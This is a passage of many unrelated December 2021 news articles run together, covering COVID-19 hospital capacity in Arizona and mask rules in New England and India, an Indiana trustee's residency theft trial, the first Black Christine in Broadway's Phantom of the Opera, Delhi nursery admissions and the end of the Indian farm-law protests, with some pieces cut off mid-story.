attendance. Airline passengers wearing face masks arrive and depart the D Concousre at McCarran International Airport in Las Vegas Bill Clark/Getty Images The original McCarran Field sign at the airport's Las Vegas Boulevard entrance will not be changed, due to its historical significance, the Las Vegas Review-Journal reported. The first phase of the renaming requires changing the primary signage around the airport's outdoor areas. The second phase will change the names throughout the airport, including signage from the curb to the gates. The final phase will see business cards, stationary and concessionaire-related work making the change. Part of the stipulation for the name change was that all funding for the project must come from private donations. By October, the airport had collected $4.2 million to begin the project. The remainder of the process will cost an estimated $3 million. As the airport is still seeking funding to complete the process, it has not revealed a timeline for when the changes will be complete. Cailey Rizzo is a contributing writer for Travel + Leisure, currently based in Brooklyn. You can find her on Twitter, Instagram, or at caileyrizzo.com. Arizona's largest health system expects COVID-19 hospitalizations will peak in mid-January, but the omicron variant could change that prediction. Inpatient volumes within hospitals in Arizona are at their highest levels since the start of the pandemic, Banner Health chief clinical officer Dr. Marjorie Bessel said during a briefing on Tuesday. The latest wave of COVID-19 hospitalizations, driven by unvaccinated patients, is not over, she said. The health system was operating Tuesday at 97% of its staffed bed capacity and 10 Banner hospitals in Arizona were operating at more than 100% of their ICU staffed bed capacity, officials said. As of Monday, 2,764 patients statewide were hospitalized with confirmed and suspected COVID-19, and nearly 700 were in intensive care, state data shows. "Banners predictive modeling tools show no signs of letting up," Bessel said. "Our forecast is for our peak hospital census to occur in mid-January, which, according to our forecasts, also coincides with peak COVID cases. ... We still do not yet know what the impact of the omicron variant might be in our forecast." Bessel emphasized that continued increases in patient volumes will not be sustainable and "we will be in a position where we will be unable to meet the care needs of all of Arizonans." She is asking the public to help by getting vaccinated and to seek the correct level of care when ill. "Please go to an emergency room for life-threatening health issues like stroke, heart attack, severe bleeding, severe breathing problems and other serious issues that require immediate treatment," she wrote. "If not an emergency, consider alternatives like urgent care, primary care and virtual visits to address your medical needs." Just 5% of ICU beds in Arizona were unoccupied on Monday COVID-19 patients are not the only reason for the high volume in Arizona hospitals, nor are they the majority of hospitalized patients. However, they are a significant contributor to capacity problems, given how many resources they require and how long they are often hospitalized. Story continues COVID-19 patients account for 36% of ICU patients in Banner hospitals in Arizona and 88% of those COVID ICU patients are unvaccinated, Bessel said. Half of all patients on ventilators in Banner facilities are COVID positive and emergency room visits COVID-19-like illness are increasing daily, she said. At any given time, Banner Health typically cares for about half the hospitalized COVID-19 patients in the state. "If we can reduce the load of COVID patients on our hospitals, it opens up more opportunity and capacity for us to take care of non-COVID patients as well," Bessel said. "It is our desire to take care of everybody who needs us, and we need the community's help." Hospitals are nearly completely full statewide. As of Monday, just 5%, or 91 of Arizona's staffed intensive care unit beds, were unoccupied. "As of this morning, we are positioned almost identically where we were in December 2020," Dr. Michael White, chief medical officer for Phoenix-based Valleywise Health wrote in a memo to employees on Dec. 13. "COVID-19 remains with substantial spread within the state of Arizona and the surrounding areas. We need to continue to encourage our communities to help us decrease this spread through vaccination, masking while indoors, and staying home if you are ill." 'It's unprecedented, what we're going through' Staffing shortages are hindering hospitals' ability to staff all of their licensed patient beds. Frontline doctors and nurses are burned-out and either leaving the profession or moving to less stressful roles in health care. "While COVID patients account for a smaller percentage of patients than prior surges, our hospital staffing situation has also changed. We are more stretched now than we have been since the start of the pandemic," Bessel said. In addition to COVID-19 patients, there's pent-up demand from people who delayed health care, as well as regular, seasonal health needs from both year-round residents and winter visitors. "We are at the highest point of inpatient hospital utilization since the beginning of the pandemic. This is a combination of both COVID and non-COVID patients," Bessel said. "So while our number of COVID patients is not at its peak, our total number of patients is higher than at any point during the entire pandemic." The problems are not unique to Arizona. Workforce shortages are occurring across the country and burnout is high, according to Dr. John Hick, an emergency physician at Hennepin Healthcare in Minnesota and deputy chief medical director for Hennepin EMS. "Our workforce shortages are extreme and I think it's been extraordinarily hard for the workforce to go from being heroes to you know, being questioned, being distrusted, to really feeling like they are not only under the gun to also sometimes being assaulted by patients," Hick said during a Tuesday briefing hosted by Sciline, a non-profit resource for journalists and scientists. "A record number of health care providers were assaulted last year and nursing staff bearing a particular brunt of that from family or patient hostility, gravity of the situation, sometimes refusing to believe COVID-19 is real ...All of these lending themselves to a very, very difficult work environment. " Hick said he's been an emergency department physician for 25 years and every shift he's worked recently feels like the worst shift of his career. "You have intermittently shifts that are bad but we've never seen sustained bad the way we have in the last couple of months," he said. "It's unprecedented, what we're going through." Omicron appears to be highly contagious Not enough is known about the omicron variant to predict for certain how the trajectory of COVID-19 will play out for hospitals in 2022. The omicron variant of the virus that causes COVID-19, also called B.1.1.529, was first identified in specimens collected in November in Botswana and South Africa. It had been identified in at least 31 states as of Monday and seven cases have been identified in Arizona. Omicron appears to be highly contagious, Bessel said. "Looking at what is happening in other parts of the world, of course, we remain concerned. The doubling capacity of that particular variant appears to be very, very large," Bessel said. "And I would expect that, over the upcoming weeks, we will see a large increase of that variant in the COVID cases that we are experiencing." There is still a lot to discover about what that means for severity of illness, Bessel said. "Yet we know there are many things that we can all do to help preserve the health care capacity that we know that we all need," she said. "Please do get vaccinated. It's especially important at this time, if you are eligible for a booster, to get your COVID booster." Reach the reporter at Stephanie.Innes@gannett.com or at 602-444-8369. Follow her on Twitter @stephanieinnes. Support local journalism. Subscribe to azcentral.com today. This article originally appeared on Arizona Republic: Banner Health predicts January COVID-19 peak, omicron could change that Jennifer Teising, Wabash Trustee, walks out of Tippecanoe County Superior 5 after the first day of her felony theft trial, Monday, Dec. 13, 2021 in Lafayette. A grand jury indicted Teising on May 12 on 20 counts of felony theft for receiving her salary while allegedly not living in the township, as required by law. Teising's bench trial is scheduled through Wednesday before Judge Kristen McVey. LAFAYETTE, Ind. Wabash Township Trustee Jennifer Teising claims she lives at 132 Knox Drive, but none of the witnesses in her trial thus far except her landlord testified they saw Teising living at the home before March. One Indiana State Police Detective testified he arranged to interview Teising there in the spring of 2021, but he also testified he met her in Anderson where she was living most of the summer of 2020. Teising sold her house in June 2020 and on July 7, 2020, she got a new driver's license with Knox Drive as her residence and registered to vote from that address, according to testimony on Monday. But testimony in the first two days of her trial for 21 counts of felony theft place Teising living in Anderson, Indiana, and Panama Beach City, Florida, far more frequently than at 132 Knox Drive. The theft charges, which are grand jury indictments, are for collecting her township paycheck while allegedly residing outside of the township. More: Wabash Township Trustee Jennifer Teising faces first day of felony trial More: Wabash Township Trustee stayed at her alleged residence 27 days out of 43 weeks Greg Michalski owns the Knox Drive house and is Teising's ex-boyfriend. He testified he allowed her to stay at his house because he planned to be out of the country in late 2020 through spring 2021 on a sabbatical from Purdue University. COVID-19 ruined his travel plans, but he still didn't spend much time at his house while on sabbatical. He estimated that between July 1, 2020, and the middle of March 2021, Teising stayed there "30 plus or minus 10" days. Initially, Teising's $500 a month rent was just a verbal agreement, but after the Journal & Courier published an investigation calling her residency into question, he testified they signed a formal lease. Then, Michalski said, they terminated the lease after the Journal & Courier reported that Michalski's home had not been inspected as a rental, as per city ordinance. Story continues Michalski said they terminated the lease on Jan. 15 or Jan. 25. But Teising was still in Florida, based on Edwards' cellphone analysis, and the Journal & Courier's story about being in breach of city ordinance did not publish until April 9. More: Trustee Teising's rental home not approved as rental, per city ordinance "I know she wasn't there every day, and I know she was not there a lot," Michalski said. "Starting in March (2021), she's been there pretty much all the time." But testimony from Andrew and Amber Jones of Anderson, Indiana, testified that Teising lived out of her travel trailer parked at one of their rentals in Anderson during much of March. The Journal & Courier published an investigation Dec. 22, 2020, indicating that Teising might not reside in the township, which is a requirement for her office. The Journal & Courier published photos of Teising residing in Florida. Teising returned from Florida on Dec. 24, 2020, and stayed at Michalski's house while she tried to quell a mutiny at the fire department caused by Teising's firing of Fire Chief Ed Ward on Dec. 21. She stayed 13 days and left Jan 5, according to phone records presented during Indiana State Police Detective Gregg Edwards' testified on Monday. Based on cell tower locations of Teising's phone, Edwards estimated that she spent 27 days in the area of Knox Drive between June 1, 2020, and March 19, 2021. Teising's attorney, Karen Celestino-Horseman, is trying to build a case that residency, according to Indiana law, is where one intends to return after being away. Her cross examinations of prosecutor's witnesses usually includes questions that Teising intended to return to Indiana and/or West Lafayette or that Teising did return to Knox Drive in West Lafayette. The Jones testified that Teising made day trips to Lafayette from their Anderson home. Sometimes she took the travel trailer and stayed longer possibly at Tippecanoe County Councilwoman Lisa Dullum's rural farmhouse. After many of the day trips or after junkets with the travel trailer, Teising returned to the Jones' house at 624 High St. in Anderson, the Jones testified. Other times, such as when she and Amber Jones took a trip to Colorado, Teising's returned to stay in Anderson, not West Lafayette, according to testimony from the Jones. Dullum testified Tuesday that she and Teising were close friends. Yet the only time Dullum saw Teising at 132 Knox Drive was on the day in June 2020 that Dullum and her husband helped move Teising's boxes from her old house to the Knox Drive address. Teising and Dullum visited several times during the summer of 2020, but Teising always towed her travel trailer to Dullum's rural Sheffield Township farmhouse for the visits, Dullum testified. Dullum did not allow Teising inside the farmhouse out of concern of spreading and/or catching COVID-19, and Teising always slept inside the travel trailer. Dullum and Teising visited outdoors at the farmhouse, including any meals they might have shared, Dullum testified. Dullum testified she couldn't be sure where Teising stayed when she wasn't at the farmhouse, which Teising visited for a couple weeks during the summer of 2020. Dullum also testified she knew Teising planned to winter in Florida beginning in November 2020, but when the Journal & Courier called her on Dec. 18, 2020, Dullum said she didn't know where Teising was. The trial resumes at 9:15 a.m. Wednesday when the prosecutors plan to call their last witness. After that, Teising's defense will begin its case in chief. Reach Ron Wilkins at 765-420-5231 or at rwilkins@jconline.com. Follow on Twitter: @RonWilkins2. This article originally appeared on Lafayette Journal & Courier: Only one witness testified seeing Teising at her alleged residence Emilie Kouatchou Matthew Murphy The Broadway production of The Phantom of the Opera is older than Emilie Kouatchou but when the young actress joined the cast earlier this year, she made history at a musical that's been running for over three decades. Kouatchou, 25, is the first Black performer to play leading lady Christine Daae in Andrew Lloyd Webber's Broadway hit. On Oct. 27, the actress who performs the role three times a week at the Majestic Theatre made her debut on the Great White Way and tells PEOPLE that the moment was incredibly "special." Still, she says that she felt immense pressure in the days leading up to her first performance. "There were a lot of nights just feeling like maybe I'm not good enough for this, or feeling like I have the weight of all these people who are looking up to me [on my shoulders], and I wanted to do the best that I could," she says. "I just think that Black women, especially in theater, have to be and it shouldn't be this way ten times better and work ten times harder. It took this long for any Black woman to play Christine, but there have been so many talented Black women who could have." Emilie Kouatchou Matthew Murphy RELATED: Wicked Announces Broadway's First Black Glinda, Brittney Johnson: It's an 'Awesome Responsibility' While Kouatchou may be in the midst of a career-defining moment, she almost took a sharp turn out of show business when the coronavirus pandemic shut down Broadway theaters and auditions started drying up. "I found myself just feeling lost and feeling like I didn't have a purpose anymore," she admits, adding that she decided to take control of her own destiny and pursue hobbies like yoga and fashion that could potentially pave a new path forward. However, Kouatchou's parents her mother is a doctor, and her father is a businessman encouraged her to get a degree in business. Never miss a story sign up for PEOPLE's free weekly newsletter to get the biggest news of the week delivered to your inbox every Friday. Story continues "I was a little reluctant, but I thought, 'You know what, I could take night classes and still audition.' And so I decided that come the fall, if nothing had happened, I would apply at business schools, and then literally in the fall, this thing happened," she says. "I got the call in August, and that just kind of changed everything for me." The University of Michigan graduate had auditioned for Phantom at least twice before, but it wasn't until this summer that the creative team decided on Kouatchou to be the Christine alternate on Broadway. RELATED VIDEO: Recap of Broadway's Diana Set to Premiere on Netflix and Elizabeth Debicki Joins The Crown While the historic moment in Phantom's near 34-year run is not lost on Kouatchou, she says that she's looking forward to a time when casting Black actors in roles such as hers is no longer a monumental occasion. "It frustrates me that it took this long, it does," she says. "I'm honored that it's me, and I'm honored that I'm making history, but I'm really excited for when it's not even a question, it's not even a thing, the first Black Christine." RELATED: How This Beauty and the Beast Is Reflecting Real Life with 'Different Body Types and Ethnicities' "I've had a lot of girls reach out, and say, 'Hey, this is a dream role of mine, and you're making it possible for me to achieve that goal.' At times when I'm just so in my head about what I'm doing in the show, it's a great reminder that this is something," she adds. "No matter what I do on stage, me in that costume and me wearing that wig and me singing those songs and just my face as a face of Phantom [is] so important." When she took her first bow back in October, the audience erupted. Kouatchou recalls she "lived her best life" during the curtain call. "Humility is great at all, and being kind and humble is very important, but I'm very conscious of not allowing myself to be small, especially in a situation like that. I just wanted to feel like I could take up as much space as I could," she says, "because I felt like I deserved it." PROVIDENCE If Gov. Dan McKee takes his cues from his counterparts, Rhode Islanders may see more, but not necessarily universal, mask-wearing requirements. They will soon have a new app on their cellphones to show proof they have been vaccinated against COVID-19. The crowd watching the North Kingstown vs. Cumberland junior varsity basketball game on Tuesday was required to wear masks inside North Kingstown High School. Masks are required in all in RI public K-12 schools. Will Gov. Dan McKee mandate additional rules week? And businesses are expecting to have more guidance on how to handle masking inside their own establishments. McKee has given no indication whether he will or will not mirror the dramatic actions taken by New York Gov. Kathy Hochul in the new protocols he is poised to announce. Starting on Monday of this week, Hochul ordered that masks be worn indoors at all public spaces that do not require proof of vaccination for entry. More New England mask mandates: Which Vermont towns and cities have passed local mask mandates? But in recent days the Democratic governor of Connecticut and the Republican governor Massachusetts have both ruled out new mask mandates. What will McKee do? A media advisory said only that McKee and state Health Director Dr. Nicole Alexander-Scott would announce "a comprehensive set of actions to address an increase in COVID-19 cases,'' with a focus on "vaccination, testing, masking and staffing capacity." Here's where it stands in Rhode Island McKee terminated Rhode Island's mask mandate along with several other COVID-19 health orders in a July 6 executive order. But the Rhode Island Department of Health recommends that even fully vaccinated people wear masks indoors when "community spread is substantial or high." This has been the case in Rhode Island since late July. With COVID numbers rising and omicron, Gov. Dan McKee will announce new actions Wednesday As of Tuesday, the Health Department was also providing this guidance: "Whether or not youre vaccinated, you're still required to wear a mask: if a business, private school, camp, healthcare setting, or other entity requires it ... in public K-12 schools ... on public transportation like planes, buses, and trains ... in transportation hubs like airports and stations ... if working in a healthcare setting where suspected or confirmed COVID-19 patients are treated." Story continues (The school mask mandate is a state requirement. Transportation and health-care facilities fall under federal requirements.) More broadly: "The Rhode Island Department of Health (RIDOH) supports the Centers for Disease Control and Prevention (CDC) recommendation to wear a mask outdoors in crowded places or during activities where youre near people who are not fully vaccinated." Gov. Dan McKee: Rhode Island to introduce mobile app to show proof of vaccination Rhode Island's vaccine requirement is currently limited to health-care workers, and no one has yet raised the specter of the state requiring a "vaccine passport" for entering public places. But some places in the state, including many of the state's major performance venues, do require proof of vaccination. The McKee administration on Dec. 1 announced that Rhode Island is expected to make available, within two weeks, a cellphone app called 401 Health that would allow residents to easily prove their COVID vaccination status. It will have a verified, authentic, digital copy of each person's vaccine record. Mask mandates in neighboring states Seven states Hawaii, Illinois, Nevada, New Mexico, New York, Oregon and Washington require most people to wear masks in indoor public places, whether or not they have been vaccinated against COVID-19, according to a survey by the AARP. An eighth state, California, is reinstating its mask mandate Wednesday. Rhode Island's nearest neighbors, Massachusetts and Connecticut, have mask-wearing requirements for some populations. In Connecticut, for example, the state website says: "Indoors: Vaccinated not required to wear masks; Unvaccinated must wear masks." What is COVID like?: With shots, my COVID was mild, but pre-vaccine, Rich Santello barely survived it Last Friday, Connecticut Democratic Gov. Ned Lamont announced that his state will partner with Rhode Island on a new cellphone app that provides digital proof of COVID-19 vaccination, that will be available by the end of the year. But Lamont ruled out a statewide masking mandate. "I think what I want to do is get that digital health card [and] make it available to every single business, restaurant, store," Lamont said. COVID and hospitals: The fourth surge is here, and RI hospitals are short-staffed. What you need to know. "Let them make the right decision in terms of allowing people into their facility. Letting them have the information [that] if a persons unvaccinated, theyve got to wear a mask." "I dont think we need more mandates than that,'' added Lamont, who was ranked the nation's most popular Democratic governor in a recent Morning Consult survey. Massachusetts' general face-covering order was lifted May 29. Massachusetts Gov. Charlie Baker On Monday, Massachusetts Republican Gov. Charlie Baker told reporters that Massachusetts has no plans to re-implement a statewide mask mandate, according to the Boston Globe. Public transportation has a mask mandate, Baker said. Long-term care has a mask mandate. Public schools have a mask mandate. Health-care organizations have mask mandates. ... Keep in mind that were in a very different place than we were in before. Five million people are fully vaccinated. A million and a half of those are boosted. He announced that Massachusetts would instead distribute 2.1 million free at-home COVID-19 tests "in an ambitious effort to slow the spread of the coronavirus as a winter surge looms." Treating COVID-19: Monoclonal antibodies given at Hasbro Children's Hospital help 10-year-old Abby with COVID But a number of large cities have reinstated mask orders on their own amid concerns over the delta variant, including Boston. In late August, then-Acting Mayor Kim Janey announced face masks would be required in all indoor public settings in Boston, as part of a "five-point plan" to mitigate the spread of the delta variant. Other communities with current mask mandates for at least municipal facilities include Georgetown, Lowell, Salem, Worcester, Fall River and Pittsfield, according to the Globe. In Lowell, the Board of Health on Monday unanimously voted to institute an indoor mask mandate in that city. Draft regulations posted to the panels website said face coverings are required for all individuals, regardless of vaccination status, aged two years and above in all indoor public spaces, houses of worship, or private spaces open to the public except where an individual is unable to wear a face covering due to a medical condition or disability. This article originally appeared on The Providence Journal: Will Gov. Dan McKee implement a mask mandate in COVID announcement? Jeanette Tiwald was shopping at a thrift store earlier this month when she looked across O Street. And the Catholic Social Services building jogged her memory. She still needed to find a family to sponsor for Christmas, a tradition she started more than 35 years ago when her kids were young. I just wanted to make sure my children understood how important it was that they should give graciously to someone. I would always say, Theres someone poorer than you who needs help. Year after year, her family arranges for a Christmas meal, and buys toys for children, toiletries for their mothers, blankets for grandparents. But until that day when she crossed O Street and walked into Catholic Social Services, shed never had to rent a U-Haul before. She asked if they knew a family she could sponsor. The agency had already made all of its holiday pairings -- matching families in need with those who can give -- but they did have a young couple from Afghanistan who needed help. KEARNEY Kenneth Kratt will spend the next 3-5 years in prison for the unintentional deaths of three people in a fiery crash on Interstate 80 in a construction zone in 2019. Kratt, 36, of Madera, California, was sentenced Wednesday in Buffalo County District Court on three counts of felony manslaughter for the deaths of two Lincoln men and a Schuyler man for driving recklessly on Sept. 20, 2019. Judge John Marsh gave him 30 days credit for time already served. He pleaded no contest to the charges in October. Kratt faced up to 20 years in prison on each count. Kratts attorney, Charles Brewster of Kearney, argued for probation with jail time for his client. Prosecutor Patrick Lee argued for the maximum sentence. Kratt apologized to the 15 family members present for the hearing, and asked them, friends of the victims and the judge for forgiveness. Im truly sorry for what Ive done. I have no excuse. No reason for what happened, he said. I wish there was something I could to do to take it back. Adding Justices to the Supreme Court is court packing, plain and simple. President Franklin Roosevelt explored the idea in the 1930s, after the Supreme Court struck down key parts of his New Deal. The Commissions report called his attempt to pack the Court a needless, futile, and utterly dangerous abandonment of constitutional principle. No president has been reckless enough or short-sighted enough to push for it since. President Biden notably said he was not a fan of court packing during his campaign. Then he backtracked and said he was open to the idea, giving into pressure from the far left wing of his party. He created this Commission instead, leaving the problem of taking a position on this issue for another, more politically convenient day. As the Commissions own report details, court packing is often used as a political weapon in authoritarian regimes not in the United States. In Venezuela, for example, Hugo Chavez cemented support for his socialist policies by expanding the countrys Supreme Tribunal of Justice from 20 members to 32 back in 2004. Look at all the good that did for what was once the wealthiest country in South America. Passengers coming from 'at-risk' countries to six major Indian airports have to compulsorily pre-book for the on-arrival RT-PCR test from December 20 onwards, the Civil Aviation Ministry said on Tuesday. However, it clarified that in case a person faces any difficulty in pre-booking the test, the passenger must not be denied boarding. The six airports are in Delhi, Mumbai Kolkata, Chennai, Bengaluru and Hyderabad. According to the Union health ministry, 'at-risk countries include countries in Europe including the United Kingdom, South Africa, Brazil, Botswana, Zimbabwe, Tanzania, Hong Kong, China, Ghana, Mauritius, New Zealand and Israel. In an order on Tuesday, the Civil Aviation Ministry said: "Air Suvidha portal would be modified to allow the passengers to mandatorily pre-book the RT PCR test if they are coming from the countries 'at risk' or have visited 'at risk' countries in the last 14 days." Also read: IndiGo employee falls asleep inside cargo compartment, reaches Abu Dhabi The link to the airport website would be provided in Air Suvidha platform which would be displayed to passengers while filling up the self-declaration form, it mentioned. "To stabilise the system and to ensure that the passengers would not have any problem in pre-booking, payment, etc, it may be implemented in six metro cities, namely, Delhi, Mumbai Kolkata, Chennai, Bengaluru and Hyderabad in the first phase," it noted. Considering the convenience of the travellers, a lead time of a week would be provided, it said. This means the new system to come into effect on December 20, it stated. Aviation regulator DGCA is requested to issue advisory to all airlines to check mandatory pre -booking of their passengers before boarding the flight, it mentioned. "In case any passenger is having any difficulty in pre-booking, they may not be denied boarding, but it would be the responsibility of the airlines to identify and accompany such passengers to the registration counter at the airport for testing," it noted. Under the new norms that came into force from December 1, RT-PCR tests are mandatory for passengers arriving from "at-risk" countries, and they will be allowed to leave the airport only after the results come. Also, two percent of passengers arriving on all flights from other countries -- such as the US -- will be subjected to the test randomly. Live TV #mute Passengers, including some legislators, of the flight of a private carrier that was supposed to land in Tirupati on Tuesday morning had a harrowing experience as the aircraft allegedly developed a technical problem before finally making a detour and landing in Bengaluru. The airlines allegedly demanded each passenger to pay Rs 5,000 to let them disembark but ultimately gave up after stiff resistance from the travellers, which included ruling YSR Congress MLA RK Roja. Roja, also a film actor, recounted the plight of the passengers and warned of legal action against the company over the way in which the whole episode was handled. The flight from Rajamahendravaram to Tirupati, both in Andhra Pradesh, took off at 9.00 am on Tuesday and was supposed to land in Tirupati around 10.30 am. However, it did not land at the Tirupati airport allegedly because of a technical problem and hovered for some time in the air. "We are stuck in the aircraft as its doors are not opening. They (crew) say they are awaiting instructions," Roja earlier said in a short video message sent to the media. Also read: Govt makes on-arrival RT-PCR 'pre-booking' mandatory from at-risk countries The flight finally went to Bengaluru and landed. But, the airline staffers allegedly asked each passenger to pay Rs 5,000 as they took a detour to the Karnataka capital. "We were put through mental torture as we were not allowed to disembark for more than two hours," the firebrand MLA later alleged. The crew initially said the flight was diverted to Bengaluru due to bad weather but later claimed there was a technical problem. "They put us through a big ordeal and even endangered the lives of passengers," the film star-MLA lashed out. Veteran TDP leader and Leader of Opposition in the Legislative Council Yanamala Ramakrishnudu and YSRC MLA Jogeswara Rao were among the 70 passengers aboard the flight. After the passengers stoutly refused pay any extra charge, the airline finally relented and let them disembark in Bengaluru, information reaching here said. IndiGo, on the other hand, has refuted the claims by the passengers saying, "IndiGo flight 6E 7265 flying from Rajahmundry to Tirupati was diverted to Bangalore due to technical reasons. The passengers were served refreshments on board and the flight was released after maintenance checks. Some passengers wished to offload from the aircraft and were accommodated on the next available flight or escorted out of the airport as per their request." "No charges were collected from the passengers who decided to self offload at Bangalore airport," the airline said in a statement. Live TV #mute NEW DELHI: The registration process for admissions into nursery classes for the 2022-23 academic session will begin in the private, unaided and recognised schools in the national capital from Wednesday (December 15, 2021). While most of the schools are selling admission forms online, the same can also be purchased directly from the school premises for the convenience of parents. According to a notification issued by the Directorate of Education (DoE) last month, the process of nursery admissions will begin from today (December 15, 2021) in nearly 1,800 private schools across the national capital. The application window is scheduled to close on January 7. The admission to entry-level classes for the previous academic session began in February this year after a delay due to the COVID-19 pandemic. However, this year, the schedule is in line with previous years. DoE notification for admission The DoE had last month notified the admission schedule. As per the notified schedule, the first list of selected children will be put up on February 4, followed by a second list on February 21 and a subsequent list for admission, if any, on March 15. The entire admission process will conclude on March 31. Criterion for nursery admission The DoE has asked the schools to notify their number of seats and the admission criteria by Tuesday. The DoE has directed that the number of seats at the entry levels shall not be less than the highest number of seats in entry-level classes during the last three years-- 2019-20, 2020-21 and 2021-22. "Schools shall develop and adopt criteria for admission which shall be fair, reasonable, well defined, equitable, non-discriminatory, unambiguous and transparent, the DoE said. "No school shall adopt a criterion abolished by the department including charging a capitation fees or donations. Pre-schools or montessori schools run by registered societies or Trusts as branches of recognised unaided schools will have to follow single admission process for their pre-school and main school considering them as one institution," the DoE official said. Monitoring of admission process A monitoring cell is being constituted in each district under the chairmanship of the deputy director concerned, who shall ensure that each private school uploads the criteria and their points on the online module and further, ensure that the school shall not adopt those criteria which were abolished by the department and upheld by the Delhi High Court. "No deviation from the above schedule shall be permitted. Each school shall display the aforesaid admission schedule on its notice board and website. Further, each school shall ensure that application forms for admission are made available to all applicants till the last date of submission. A non-refundable amount of only Rs 25 can be charged as admission registration fee. The purchase of prospectus of the school by the parents shall be optional," a senior DoE official said. While the DoE had given the schools autonomy to decide their own criteria for admission, and upload them on DoEs website by December 14, it has restricted schools not to ask information such as parents education, profession, income, food habits, and written or oral interviews of both students and parents abolished by the Delhi government in 2016. Delhi nursery admission 2022-23: Important Dates December 14: Schools to upload criteria on the website December 15: Forms to be released on school websites, registration process begins January 7: Last date of submission of forms January 28: Schools will upload marks given to each candidate on their website. February 4: Display of first list of selected candidates along with marks February 5-12: Resolution of queries from parents under the first list February 21- Second list of selected candidates February 22-28- Resolution of queries from parents under the second list March 15-Subsequent list (if any) March 31-Admission closed Live TV NEW DELHI: The last batch of farmers who had been protesting against the now-repealed three central farm laws will most likely vacate the Ghazipur protest site at the Uttar Pradesh-Delhi border on Wednesday. Besides Ghazipur, Singhu and Tikri borders had been the other protest sites where farmers had assembled to protest against the Centre's three farm laws. According to the Delhi Police, almost all barricades at the Singhu border that were erected to prevent the protesting farmers from moving towards the national capital had been dismantled now. Farmers started leaving the protest site on the Delhi-Haryana border on Saturday after the Samyukt Kisan Morcha (SKM) suspended the agitation following the repeal of the Centre's three farm laws and the government conceding to its other demands. A senior police officer said the concrete barriers and other obstacles have been cleared from the Singhu border. However, the road is not open for traffic yet. Besides the Singhu border, farmers, mainly from Punjab, Haryana and Uttar Pradesh, had laid siege to Delhi's Tikri and Ghazipur borders on November 26 last year. The farm laws were repealed by Parliament on November 29. BKU leader Rakesh Tikait will lead the last batch in a car, and the group will take the Hindon elevated road and then proceed on the Delhi Meerut Road towards Sisoli (Muzaffarnagar district)," Gaurav Tikait, president of Bharatiya Kisan Union's (BKU) youth wing, said on Tuesday. After the farmers leave the site completely, the officials of the National Highways Authority of India (NHAI) will inspect the road to assess any damage to the infrastructure. However, there is no official word on when the expressway will open for traffic. It may be noted that the three controversial farm laws were repealed by Parliament on November 29. The farmers had on November 26 last year had laid siege also on the Tikri and Ghazipur borders of Delhi to protest against the three laws and demand their repeal. That demand was accepted when Prime Minister Narendra Modi, while addressing the nation on November 19, announced that the three contentious laws will be repealed. The Union Cabinet swiftly cleared the bill to repeal the three laws, which was subsequently passed by Parliament on November 29. A few days later, the Centre agreed to the pending demands of the farmers, including those on minimum support price (MSP) and police cases. The three controversial farm laws were: The Farmers' Produce Trade and Commerce (Promotion and Facilitation) Act, 2020, the Farmers' (Empowerment and Protection) Agreement on Price Assurance and the Farm Services Act, 2020 and the Essential Commodities (Amendment) Act, 2020. Live TV New Delhi: Prime Minister Narendra Modi, on Wednesday (December 15), lauded the Union Cabinet's decision of approving an incentive scheme for the production of semiconductors in the country, PM Modi said that the Union Cabinet's decision will encourage research and innovation in the sector and also boost manufacturing, strengthening the 'Aatmanirbhar Bharat' programme. In a Tweet, Modi said, "Today's Cabinet decision on semi-conductors will encourage research and innovation in the sector. It will also boost manufacturing and thus strengthen the dream of an Aatmanirbhar Bharat." Todays Cabinet decision on semi-conductors will encourage research and innovation in the sector. It will also boost manufacturing and thus strengthen the dream of an Aatmanirbhar Bharat. https://t.co/HcuY318EZ1 Narendra Modi (@narendramodi) December 15, 2021 The Union Cabinet has given its nod to a Rs 76,000-crore policy to bolster a semiconductor and display manufacturing ecosystem in the country. The ecosystem will aim to position India as a global hub for hi-tech production. Earlier in the IT and Telecom Minister Ashwini Vaishnaw while revealing the details of the recently announced scheme had said that electronics plays an important role in everyday life and semiconductor chips form a crucial part of it. Also Read: Pradhan Mantri Krishi Sinchayee Yojana: Cabinet approves implementation of PMKSY for 2021-26 Meanwhile, I&B Minister Anurag Thakur said that the scheme envisages investment of Rs 76,000 crore in semiconductor production over the next 5-6 years. Also Read: Aadhaar Card Update: Heres how to change date of birth in few simple steps Live TV #mute New Delhi: The numbers of civilian killings in Jammu and Kashmir have remained in the range of 37-40 every year between 2017 and 2021 (till November 30), the Rajya Sabha was informed on Wednesday. Responding to a question, Minister of State for Home Affairs Nityanand Rai said notwithstanding attempts by the terrorists to target some civilians, a large number of migrant workers continued to stay on in the Kashmir Valley and left as usual upon onset of harsh winter. "Also, a large number of tourists have visited Jammu and Kashmir during the last few months," Rai said. "The numbers of civilian killings have remained in the range of 37-40 every year during the last five years - 2017 to 2021 (till November 30, 2021)," he said. Nevertheless, the government has taken several steps to ensure safety and security of civilians, including those from outside of Jammu and Kashmir, the minister added. "A robust security and intelligence grid is in place. Day & night area domination, patrolling and proactive operations against terrorists are being carried out. Besides, round-the-clock checking at nakas and road opening parties have been adequately augmented at strategic points to thwart any terrorist attack in Jammu and Kashmir," he said. Live TV Gautam Budh Nagar (Uttar Pradesh): As the world continues to battle Omicron scare, at least five persons, who arrived in Gautam Budh Nagar recently from the United Kingdom, have tested positive for COVID19. The Chief Medical Officer (CMO) of Gautam Budh Nagar Dr Sunil Sharma.While speaking to ANI, Dr Sunil Sharma, said, "Five persons, who arrived in GB Nagar recently from the United Kingdom, which is among the "at-risk" countries, and Singapore, have tested positive for COVID-19." Sharma added that so far, the GB Nagar administration has received a list of around 4,729 people who have returned from abroad, including 1,101 from "at-risk" nations. Meanwhile, India has recorded 5,784 new COVID-19 cases, the lowest in 571 days in the last 24 hours, the Union Health Ministry informed on Tuesday (December 14). As many as 252 deaths and 7,995 recoveries have also been reported. The five international travellers were admitted to Noida Covid Hospital in Sector 39. All five patients are now in hospital and are being monitored. Their samples have been sent to National Centre for Disease Control in New Delhi for genome sequencing to find the variant of the virus. Meanwhile, we are also tracing their contacts. We hope that people continue to behave as per law and trust the healthcare system, said Dr Sunil Sharma, chief medical officer, Gautam Budh Nagar, was quoted by the Hindustan Times. The five who tested positive reportedly included a couple in their 30s, along with their five-year-old son, who returned from the United Kingdom; a woman in her 30s and her daughter, aged five, who returned from Singapore. There was some drama involved when the two from Singapore left the hospital after feeling uncomfortable. This created panic among the administration. A team of police was reportedly sent and after some counselling and coercing, the duo returned to the hospital, as per media reports. Meanwhile, the World Health Organization (WHO) has said that it expects an increase in the number of hospitalisations and fatalities related to the new Omicron coronavirus strain, reported Sputnik. "As case numbers linked to a variant of concern 